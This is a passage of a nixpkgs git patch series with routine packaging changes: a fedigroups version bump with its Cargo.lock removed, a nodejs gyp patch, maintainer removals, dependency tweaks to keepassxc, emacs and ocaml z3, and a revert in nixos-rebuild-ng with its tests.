-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5491a68ab4500fa6b4d726bd67408630c3dbe9c4fe7bda16d5c82a1fd8c7340a"
-dependencies = [
- "bumpalo",
- "lazy_static",
- "log 0.4.17",
- "proc-macro2",
- "quote",
- "syn",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "de9a9cec1733468a8c657e57fa2413d2ae2c0129b95e87c5b72b8ace4d13f31f"
-dependencies = [
- "cfg-if 1.0.0",
- "js-sys",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c441e177922bc58f1e12c022624b6216378e5febc2f0533e41ba443d505b80aa"
-dependencies = [
- "quote",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d94ac45fcf608c1f45ef53e748d35660f168490c10b23704c7779ab8f5c3048"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
- "wasm-bindgen-backend",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a89911bd99e5f3659ec4acf9c4d93b0a90fe4a2a11f15328472058edc5261be"
-
-[[package]]
-name = "web-sys"
-version = "0.3.58"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2fed94beee57daf8dd7d51f2b15dc2bcde92d7a72304cdf662a4371008b71b90"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "webpki"
-version = "0.21.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea"
-dependencies = [
- "ring",
- "untrusted",
-]
-
-[[package]]
-name = "webpki-roots"
-version = "0.21.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aabe153544e473b775453675851ecc86863d2a81d786d741f6b76778f2a48940"
-dependencies = [
- "webpki",
-]
-
-[[package]]
-name = "websocket"
-version = "0.26.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "723abe6b75286edc51d8ecabb38a2353f62a9e9b0588998b59111474f1dcd637"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "hyper 0.10.16",
- "native-tls",
- "rand 0.6.5",
- "tokio-codec",
- "tokio-io",
- "tokio-reactor",
- "tokio-tcp",
- "tokio-tls",
- "unicase 1.4.2",
- "url 1.7.2",
- "websocket-base",
-]
-
-[[package]]
-name = "websocket-base"
-version = "0.26.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "403f3fd505ff930da84156389639932955fb09705b3dccd1a3d60c8e7ff62776"
-dependencies = [
- "base64 0.10.1",
- "bitflags",
- "byteorder",
- "bytes 0.4.12",
- "futures 0.1.31",
- "native-tls",
- "rand 0.6.5",
- "sha-1 0.8.2",
- "tokio-codec",
- "tokio-io",
- "tokio-tcp",
- "tokio-tls",
-]
-
-[[package]]
-name = "winapi"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-build"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "windows-sys"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2"
-dependencies = [
- "windows_aarch64_msvc",
- "windows_i686_gnu",
- "windows_i686_msvc",
- "windows_x86_64_gnu",
- "windows_x86_64_msvc",
-]
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680"
-
-[[package]]
-name = "winreg"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0120db82e8a1e0b9fb3345a539c478767c0048d842860994d96113d5b667bd69"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "ws2_32-sys"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
diff --git a/pkgs/by-name/fe/fedigroups/package.nix b/pkgs/by-name/fe/fedigroups/package.nix
index 743b0c8a75ae..6a3738fd06a7 100644
--- a/pkgs/by-name/fe/fedigroups/package.nix
+++ b/pkgs/by-name/fe/fedigroups/package.nix
@@ -9,29 +9,20 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "fedigroups";
-  version = "0.4.5";
+  version = "0.4.6";
 
   src = fetchFromGitea {
     domain = "git.ondrovo.com";
     owner = "MightyPork";
     repo = "group-actor";
     rev = "v${version}";
-    hash = "sha256-NMqoYUNN2ntye9mNC3KAAc0DBg+QY7+6/DASwHPexY0=";
+    hash = "sha256-Sq22CwLLR10yrN3+dR2KDoS8r99+LWOH7+l+D3RWlKw=";
     forceFetchGit = true; # Archive generation is disabled on this gitea instance
     leaveDotGit = true; # git command in build.rs
   };
 
-  # The lockfile in the repo is not up to date
-  postPatch = ''
-    cp ${./Cargo.lock} Cargo.lock
-  '';
-
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
-      "elefren-0.22.0" = "sha256-zCmopdkBHT0gzNGQqZzsnIyMyAt0XBbQdOCpegF6TsY=";
-    };
-  };
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-6UijHshvKANtMMfNADWDViDrh6bGlPvFz4xqJeWdqB0=";
 
   nativeBuildInputs = [
     pkg-config

From 265f3900d0355033bed10d0ca6e281e8ad8600c0 Mon Sep 17 00:00:00 2001
From: Fugi <me@fugi.dev>
Date: Wed, 11 Jun 2025 18:10:52 +0200
Subject: [PATCH 1135/4511] nodejs_22: re-add patch to fix sandboxed builds
 using gyp on Darwin

(cherry picked from commit f0b3061fe882f4e8264fccbb95aaa43cd429a40c)
---
 pkgs/development/web/nodejs/v22.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index 462766a97d27..f850d04d575d 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -58,5 +58,15 @@ buildNodejs {
         hash = "sha256-k3h8mPgvaIYGAkGmaL+ix7kUnyLw4/PF7wXMAWrPMXo=";
         revert = true;
       })
+      # Fixes builds with Nix sandbox on Darwin for gyp.
+      # See https://github.com/NixOS/nixpkgs/issues/261820
+      # and https://github.com/nodejs/gyp-next/pull/216
+      (fetchpatch2 {
+        name = "gyp-darwin-sandbox.patch";
+        url = "https://github.com/nodejs/gyp-next/commit/706d04aba5bd18f311dc56f84720e99f64c73466.patch?full_index=1";
+        hash = "sha256-1iyeeAprmWpmLafvOOXW45iZ4jWFSloWJxQ0reAKBOo=";
+        stripLen = 1;
+        extraPrefix = "deps/npm/node_modules/node-gyp/gyp/";
+      })
     ];
 }

From 77ed35dafc57173a73d9acd6820656950c45cb24 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 16 Jun 2025 22:11:22 -0400
Subject: [PATCH 1136/4511] treewide: remove bluescreen303 as maintainer

(cherry picked from commit d5f2c159eb5d291aab2239a53996f29ce6a508c5)
---
 nixos/tests/mongodb.nix                    | 1 -
 pkgs/by-name/an/andyetitmoves/package.nix  | 1 -
 pkgs/by-name/du/duperemove/package.nix     | 1 -
 pkgs/by-name/gp/gpac/package.nix           | 1 -
 pkgs/by-name/li/liblockfile/package.nix    | 2 --
 pkgs/by-name/lo/lockfileProgs/package.nix  | 2 --
 pkgs/by-name/lo/logcheck/package.nix       | 1 -
 pkgs/by-name/sa/safecopy/package.nix       | 1 -
 pkgs/by-name/sp/spice-protocol/package.nix | 1 -
 pkgs/by-name/sp/spice/package.nix          | 1 -
 pkgs/by-name/vo/vobcopy/package.nix        | 2 --
 pkgs/os-specific/linux/i7z/default.nix     | 1 -
 pkgs/servers/nosql/mongodb/mongodb.nix     | 1 -
 pkgs/servers/nosql/rethinkdb/default.nix   | 1 -
 pkgs/tools/misc/youtube-dl/default.nix     | 1 -
 15 files changed, 18 deletions(-)

diff --git a/nixos/tests/mongodb.nix b/nixos/tests/mongodb.nix
index 2b4b0fbe6a50..e0174d4dd345 100644
--- a/nixos/tests/mongodb.nix
+++ b/nixos/tests/mongodb.nix
@@ -12,7 +12,6 @@ in
 {
   name = "mongodb";
   meta.maintainers = with pkgs.lib.maintainers; [
-    bluescreen303
     offline
     phile314
     niklaskorz
diff --git a/pkgs/by-name/an/andyetitmoves/package.nix b/pkgs/by-name/an/andyetitmoves/package.nix
index 26f1705d2261..3a3e09e8048b 100644
--- a/pkgs/by-name/an/andyetitmoves/package.nix
+++ b/pkgs/by-name/an/andyetitmoves/package.nix
@@ -95,6 +95,5 @@ stdenv.mkDerivation rec {
     '';
     homepage = "http://www.andyetitmoves.net/";
     license = licenses.unfree;
-    maintainers = with maintainers; [ bluescreen303 ];
   };
 }
diff --git a/pkgs/by-name/du/duperemove/package.nix b/pkgs/by-name/du/duperemove/package.nix
index 1d47f31fe07d..aac966beef44 100644
--- a/pkgs/by-name/du/duperemove/package.nix
+++ b/pkgs/by-name/du/duperemove/package.nix
@@ -57,7 +57,6 @@ stdenv.mkDerivation rec {
     homepage = "https://github.com/markfasheh/duperemove";
     license = licenses.gpl2Only;
     maintainers = with maintainers; [
-      bluescreen303
       thoughtpolice
     ];
     platforms = platforms.linux;
diff --git a/pkgs/by-name/gp/gpac/package.nix b/pkgs/by-name/gp/gpac/package.nix
index 3bbb52e5fb7a..837ea06a44ae 100644
--- a/pkgs/by-name/gp/gpac/package.nix
+++ b/pkgs/by-name/gp/gpac/package.nix
@@ -51,7 +51,6 @@ stdenv.mkDerivation rec {
     homepage = "https://gpac.wp.imt.fr";
     license = licenses.lgpl21;
     maintainers = with maintainers; [
-      bluescreen303
       mgdelacroix
     ];
     platforms = platforms.unix;
diff --git a/pkgs/by-name/li/liblockfile/package.nix b/pkgs/by-name/li/liblockfile/package.nix
index 7d1d1b576933..50e3b308e016 100644
--- a/pkgs/by-name/li/liblockfile/package.nix
+++ b/pkgs/by-name/li/liblockfile/package.nix
@@ -27,8 +27,6 @@ stdenv.mkDerivation rec {
     mainProgram = "dotlockfile";
     homepage = "http://packages.debian.org/unstable/libs/liblockfile1";
     license = lib.licenses.gpl2Plus;
-
-    maintainers = [ lib.maintainers.bluescreen303 ];
     platforms = lib.platforms.all;
   };
 }
diff --git a/pkgs/by-name/lo/lockfileProgs/package.nix b/pkgs/by-name/lo/lockfileProgs/package.nix
index 10605e8c6703..1040d43fc0e1 100644
--- a/pkgs/by-name/lo/lockfileProgs/package.nix
+++ b/pkgs/by-name/lo/lockfileProgs/package.nix
@@ -33,8 +33,6 @@ stdenv.mkDerivation rec {
     description = "Programs for locking and unlocking files and mailboxes";
     homepage = "http://packages.debian.org/sid/lockfile-progs";
     license = lib.licenses.gpl2Only;
-
-    maintainers = [ lib.maintainers.bluescreen303 ];
     platforms = lib.platforms.all;
   };
 }
diff --git a/pkgs/by-name/lo/logcheck/package.nix b/pkgs/by-name/lo/logcheck/package.nix
index e6b0eb7c835e..6ceada21e64f 100644
--- a/pkgs/by-name/lo/logcheck/package.nix
+++ b/pkgs/by-name/lo/logcheck/package.nix
@@ -49,6 +49,5 @@ stdenv.mkDerivation rec {
     '';
     homepage = "https://salsa.debian.org/debian/logcheck";
     license = licenses.gpl2Plus;
-    maintainers = [ maintainers.bluescreen303 ];
   };
 }
diff --git a/pkgs/by-name/sa/safecopy/package.nix b/pkgs/by-name/sa/safecopy/package.nix
index 14cc7418a8ef..530f596a5435 100644
--- a/pkgs/by-name/sa/safecopy/package.nix
+++ b/pkgs/by-name/sa/safecopy/package.nix
@@ -30,7 +30,6 @@ stdenv.mkDerivation rec {
     license = lib.licenses.gpl2Plus;
 
     platforms = lib.platforms.linux;
-    maintainers = [ lib.maintainers.bluescreen303 ];
     mainProgram = "safecopy";
   };
 }
diff --git a/pkgs/by-name/sp/spice-protocol/package.nix b/pkgs/by-name/sp/spice-protocol/package.nix
index a249a4ce38d8..34d193cfe29b 100644
--- a/pkgs/by-name/sp/spice-protocol/package.nix
+++ b/pkgs/by-name/sp/spice-protocol/package.nix
@@ -29,7 +29,6 @@ stdenv.mkDerivation rec {
     description = "Protocol headers for the SPICE protocol";
     homepage = "https://www.spice-space.org/";
     license = licenses.bsd3;
-    maintainers = with maintainers; [ bluescreen303 ];
     platforms = platforms.all;
   };
 }
diff --git a/pkgs/by-name/sp/spice/package.nix b/pkgs/by-name/sp/spice/package.nix
index d3a4c9df6a08..f70b1c85b0c3 100644
--- a/pkgs/by-name/sp/spice/package.nix
+++ b/pkgs/by-name/sp/spice/package.nix
@@ -108,7 +108,6 @@ stdenv.mkDerivation rec {
     license = licenses.lgpl21;
 
     maintainers = with maintainers; [
-      bluescreen303
       atemu
     ];
     platforms = with platforms; linux ++ darwin;
diff --git a/pkgs/by-name/vo/vobcopy/package.nix b/pkgs/by-name/vo/vobcopy/package.nix
index 3ad1ccb30de2..fbbd641f0910 100644
--- a/pkgs/by-name/vo/vobcopy/package.nix
+++ b/pkgs/by-name/vo/vobcopy/package.nix
@@ -28,8 +28,6 @@ stdenv.mkDerivation rec {
     description = "Copies DVD .vob files to harddisk, decrypting them on the way";
     homepage = "http://vobcopy.org/projects/c/c.shtml";
     license = lib.licenses.gpl2Plus;
-
-    maintainers = [ lib.maintainers.bluescreen303 ];
     platforms = lib.platforms.all;
     mainProgram = "vobcopy";
   };
diff --git a/pkgs/os-specific/linux/i7z/default.nix b/pkgs/os-specific/linux/i7z/default.nix
index cb01e684735a..904e459e3351 100644
--- a/pkgs/os-specific/linux/i7z/default.nix
+++ b/pkgs/os-specific/linux/i7z/default.nix
@@ -58,7 +58,6 @@ stdenv.mkDerivation rec {
     mainProgram = "i7z";
     homepage = "https://github.com/DimitryAndric/i7z";
     license = licenses.gpl2Only;
-    maintainers = with maintainers; [ bluescreen303 ];
     # broken on ARM
     platforms = [ "x86_64-linux" ];
   };
diff --git a/pkgs/servers/nosql/mongodb/mongodb.nix b/pkgs/servers/nosql/mongodb/mongodb.nix
index 9839b4ca949f..1448fed7faaa 100644
--- a/pkgs/servers/nosql/mongodb/mongodb.nix
+++ b/pkgs/servers/nosql/mongodb/mongodb.nix
@@ -188,7 +188,6 @@ stdenv.mkDerivation rec {
     inherit license;
 
     maintainers = with maintainers; [
-      bluescreen303
       offline
     ];
     platforms = subtractLists systems.doubles.i686 systems.doubles.unix;
diff --git a/pkgs/servers/nosql/rethinkdb/default.nix b/pkgs/servers/nosql/rethinkdb/default.nix
index 686ad7eadc74..f1c3cf02c331 100644
--- a/pkgs/servers/nosql/rethinkdb/default.nix
+++ b/pkgs/servers/nosql/rethinkdb/default.nix
@@ -83,7 +83,6 @@ stdenv.mkDerivation rec {
     platforms = lib.platforms.unix;
     maintainers = with lib.maintainers; [
       thoughtpolice
-      bluescreen303
     ];
   };
 }
diff --git a/pkgs/tools/misc/youtube-dl/default.nix b/pkgs/tools/misc/youtube-dl/default.nix
index 06cef5d1288d..1edb287d4121 100644
--- a/pkgs/tools/misc/youtube-dl/default.nix
+++ b/pkgs/tools/misc/youtube-dl/default.nix
@@ -104,7 +104,6 @@ buildPythonPackage rec {
     '';
     license = licenses.publicDomain;
     maintainers = with maintainers; [
-      bluescreen303
       fpletz
     ];
     platforms = with platforms; linux ++ darwin;

From 22ef54c608dc5366549a7dccee0ed13f8922fdaa Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 16 Jun 2025 22:15:32 -0400
Subject: [PATCH 1137/4511] maintainers: removing bluescreen303

(cherry picked from commit 08836434bdd6db54b6fb598d0f67fc336492d71f)
---
 maintainers/maintainer-list.nix | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3951c245165c..d5e8389f9f94 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -3390,12 +3390,6 @@
     githubId = 75451918;
     name = "Charlie Root";
   };
-  bluescreen303 = {
-    email = "mathijs@bluescreen303.nl";
-    github = "bluescreen303";
-    githubId = 16330;
-    name = "Mathijs Kwik";
-  };
   blusk = {
     email = "bluskript@gmail.com";
     github = "bluskript";

From d01002d349ecd52456890d1a98e7cc80054863aa Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Wed, 28 May 2025 14:06:23 -0300
Subject: [PATCH 1138/4511] keepassxc: remove unecessary dependency

KIO no longer seems necessary for KeePassXC, so removing it should
decrease the closure size significantly.

Reported-by: chopper2000uk <>
Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
(cherry picked from commit 49b7ae226cedb0adb403758e0c63d09762297a22)
---
 pkgs/by-name/ke/keepassxc/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/ke/keepassxc/package.nix b/pkgs/by-name/ke/keepassxc/package.nix
index 170cc7bfe8e3..40b6dc15170f 100644
--- a/pkgs/by-name/ke/keepassxc/package.nix
+++ b/pkgs/by-name/ke/keepassxc/package.nix
@@ -142,7 +142,6 @@ stdenv.mkDerivation (finalAttrs: {
       libXi
       libXtst
       libargon2
-      libsForQt5.kio
       libsForQt5.qtbase
       libsForQt5.qtsvg
       minizip

From 09327821ad46390ce690d169938fdb367be1e160 Mon Sep 17 00:00:00 2001
From: Benson Chu <dev@mail.pestctrl.io>
Date: Sun, 26 Jan 2025 16:22:36 -0600
Subject: [PATCH 1139/4511] emacs: Add libXrandr as build input

This is an optional dependency for when Emacs is configured with
--with-x.

(cherry picked from commit a6edb0a9922c8f717513e7eda223ae0109520a1c)
---
 pkgs/applications/editors/emacs/make-emacs.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/applications/editors/emacs/make-emacs.nix b/pkgs/applications/editors/emacs/make-emacs.nix
index 69f98acb6859..24cf3124b815 100644
--- a/pkgs/applications/editors/emacs/make-emacs.nix
+++ b/pkgs/applications/editors/emacs/make-emacs.nix
@@ -35,6 +35,7 @@
   libXft,
   libXi,
   libXpm,
+  libXrandr,
   libgccjit,
   libjpeg,
   libotf,
@@ -339,6 +340,7 @@ mkDerivation (finalAttrs: {
       giflib
       libXaw
       libXpm
+      libXrandr
       libjpeg
       libpng
       librsvg

From 2bb7eaa32520e60e85c5cb33761b2a2b55e85da3 Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Mon, 16 Jun 2025 08:55:23 +0200
Subject: [PATCH 1140/4511] ocamlPackages.z3: propagate libz3

(cherry picked from commit 26631c3d6121ae9a7c4fc164f2b5ca0dfb0d304b)
---
 pkgs/development/ocaml-modules/z3/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/ocaml-modules/z3/default.nix b/pkgs/development/ocaml-modules/z3/default.nix
index 036c528de572..ddc9e2931015 100644
--- a/pkgs/development/ocaml-modules/z3/default.nix
+++ b/pkgs/development/ocaml-modules/z3/default.nix
@@ -36,7 +36,10 @@ else
     '';
 
     nativeBuildInputs = [ findlib ];
-    propagatedBuildInputs = [ zarith ];
+    propagatedBuildInputs = [
+      z3-with-ocaml.lib
+      zarith
+    ];
 
     strictDeps = true;
 

From 1f1c866918ae2e826facc5c2ee23f05c089eb64b Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Mon, 16 Jun 2025 20:54:13 +0100
Subject: [PATCH 1141/4511] Revert "nixos-rebuild-ng: silence reexec messages"

This reverts commit 4935f5f09bfecfc9d8fab1aeb1a2a9b2ca9487ed.

(cherry picked from commit ff53bc2baf51914ed713bc7b56fac0cbfe0091a5)
---
 .../src/nixos_rebuild/__init__.py             | 18 +++++--------
 .../nixos-rebuild-ng/src/nixos_rebuild/nix.py |  6 ++---
 .../nixos-rebuild-ng/src/tests/test_main.py   | 11 +-------
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py | 26 +------------------
 4 files changed, 11 insertions(+), 50 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 78b961b03e16..fd03e5b69ef4 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -13,9 +13,7 @@ from .models import Action, BuildAttr, Flake, ImageVariants, NRError, Profile
 from .process import Remote, cleanup_ssh
 from .utils import Args, LogFormatter, tabulate
 
-NIXOS_REBUILD_ATTR: Final = "config.system.build.nixos-rebuild"
-
-logger: Final = logging.getLogger(__name__)
+logger: Final = logging.getLogger()
 logger.setLevel(logging.INFO)
 
 
@@ -278,28 +276,26 @@ def reexec(
     flake_build_flags: Args,
 ) -> None:
     drv = None
+    attr = "config.system.build.nixos-rebuild"
     try:
         # Parsing the args here but ignore ask_sudo_password since it is not
         # needed and we would end up asking sudo password twice
         if flake := Flake.from_arg(args.flake, Remote.from_arg(args.target_host, None)):
             drv = nix.build_flake(
-                NIXOS_REBUILD_ATTR,
+                attr,
                 flake,
                 flake_build_flags | {"no_link": True},
-                quiet=True,
             )
         else:
             build_attr = BuildAttr.from_arg(args.attr, args.file)
             drv = nix.build(
-                NIXOS_REBUILD_ATTR,
+                attr,
                 build_attr,
                 build_flags | {"no_out_link": True},
-                quiet=True,
             )
     except CalledProcessError:
         logger.warning(
-            "could not build a newer version of nixos-rebuild, using current version",
-            exc_info=logger.isEnabledFor(logging.DEBUG),
+            "could not build a newer version of nixos-rebuild, using current version"
         )
 
     if drv:
@@ -323,9 +319,9 @@ def reexec(
                 # - Exec format error (e.g.: another OS/CPU arch)
                 logger.warning(
                     "could not re-exec in a newer version of nixos-rebuild, "
-                    + "using current version",
-                    exc_info=logger.isEnabledFor(logging.DEBUG),
+                    + "using current version"
                 )
+                logger.debug("re-exec exception", exc_info=True)
                 # We already run clean-up, let's re-exec in the current version
                 # to avoid issues
                 os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index dc95b914b360..3be610b5ddbd 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -51,7 +51,6 @@ def build(
     attr: str,
     build_attr: BuildAttr,
     build_flags: Args | None = None,
-    quiet: bool = False,
 ) -> Path:
     """Build NixOS attribute using classic Nix.
 
@@ -64,7 +63,7 @@ def build(
         build_attr.to_attr(attr),
         *dict_to_flags(build_flags),
     ]
-    r = run_wrapper(run_args, stdout=PIPE, stderr=PIPE if quiet else None)
+    r = run_wrapper(run_args, stdout=PIPE)
     return Path(r.stdout.strip())
 
 
@@ -72,7 +71,6 @@ def build_flake(
     attr: str,
     flake: Flake,
     flake_build_flags: Args | None = None,
-    quiet: bool = False,
 ) -> Path:
     """Build NixOS attribute using Flakes.
 
@@ -86,7 +84,7 @@ def build_flake(
         flake.to_attr(attr),
         *dict_to_flags(flake_build_flags),
     ]
-    r = run_wrapper(run_args, stdout=PIPE, stderr=PIPE if quiet else None)
+    r = run_wrapper(run_args, stdout=PIPE)
     return Path(r.stdout.strip())
 
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 22b7054000a8..59270b73ec38 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -140,10 +140,9 @@ def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -
     mock_build.assert_has_calls(
         [
             call(
-                nr.NIXOS_REBUILD_ATTR,
+                "config.system.build.nixos-rebuild",
                 nr.models.BuildAttr(ANY, ANY),
                 {"build": True, "no_out_link": True},
-                quiet=True,
             )
         ]
     )
@@ -188,7 +187,6 @@ def test_reexec_flake(
         "config.system.build.nixos-rebuild",
         nr.models.Flake(ANY, ANY),
         {"flake": True, "no_link": True},
-        quiet=True,
     )
     # do not exec if there is no new version
     mock_execve.assert_not_called()
@@ -268,7 +266,6 @@ def test_execute_nix_boot(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -343,7 +340,6 @@ def test_execute_nix_build_vm(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             )
         ]
@@ -408,7 +404,6 @@ def test_execute_nix_build_image_flake(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -476,7 +471,6 @@ def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -767,7 +761,6 @@ def test_execute_nix_switch_flake_target_host(
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -1035,7 +1028,6 @@ def test_execute_build(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             )
         ]
@@ -1075,7 +1067,6 @@ def test_execute_test_flake(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
-                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 195f929aaf53..d87b6b62dca8 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -36,18 +36,14 @@ def test_build(mock_run: Mock) -> None:
             "foo",
         ],
         stdout=PIPE,
-        stderr=None,
     )
 
     assert n.build(
-        "config.system.build.attr",
-        m.BuildAttr(Path("file"), "preAttr"),
-        quiet=True,
+        "config.system.build.attr", m.BuildAttr(Path("file"), "preAttr")
     ) == Path("/path/to/file")
     mock_run.assert_called_with(
         ["nix-build", Path("file"), "--attr", "preAttr.config.system.build.attr"],
         stdout=PIPE,
-        stderr=PIPE,
     )
 
 
